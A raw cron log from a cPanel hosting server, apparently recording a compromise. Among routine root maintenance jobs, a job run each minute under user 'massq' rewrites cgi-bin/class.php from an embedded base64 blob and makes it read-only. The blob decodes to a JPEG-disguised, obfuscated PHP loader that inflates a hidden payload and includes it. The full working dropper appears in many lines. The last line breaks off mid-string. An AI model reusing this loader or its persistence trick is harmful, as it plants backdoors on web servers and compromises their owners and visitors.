Sep  1 22:00:01 server CROND[28744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:00:01 server CROND[28749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:00:01 server CROND[28751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:00:01 server CROND[28750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:00:01 server CROND[28752]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 22:00:01 server CROND[28748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:01:02 server CROND[29607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:01:02 server CROND[29608]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 22:01:02 server CROND[29609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:01:02 server CROND[29610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:01:02 server run-parts(/etc/cron.hourly)[29608]: starting 0anacron
Sep  1 22:01:02 server run-parts(/etc/cron.hourly)[29632]: finished 0anacron
Sep  1 22:02:01 server CROND[29985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:02:01 server CROND[29986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:02:01 server CROND[29988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:03:01 server CROND[30362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:03:01 server CROND[30363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:03:01 server CROND[30364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:04:01 server CROND[30832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:04:01 server CROND[30833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:04:01 server CROND[30834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:05:01 server CROND[31219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:05:01 server CROND[31220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:05:01 server CROND[31226]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:05:01 server CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:05:01 server CROND[31230]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:05:01 server CROND[31229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:05:01 server CROND[31234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:05:01 server CROND[31231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:06:01 server CROND[32079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:06:01 server CROND[32078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:06:01 server CROND[32080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:07:01 server CROND[32463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:07:01 server CROND[32464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:07:01 server CROND[32465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:08:01 server CROND[379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:08:01 server CROND[380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:08:01 server CROND[381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:09:01 server CROND[887]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 22:09:01 server CROND[888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:09:01 server CROND[889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:09:01 server CROND[890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:10:01 server CROND[1365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:10:01 server CROND[1366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:10:01 server CROND[1368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:10:01 server CROND[1370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:10:01 server CROND[1373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:10:01 server CROND[1371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:10:01 server CROND[1369]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:10:01 server CROND[1372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:11:01 server CROND[2238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:11:01 server CROND[2239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:11:01 server CROND[2240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVA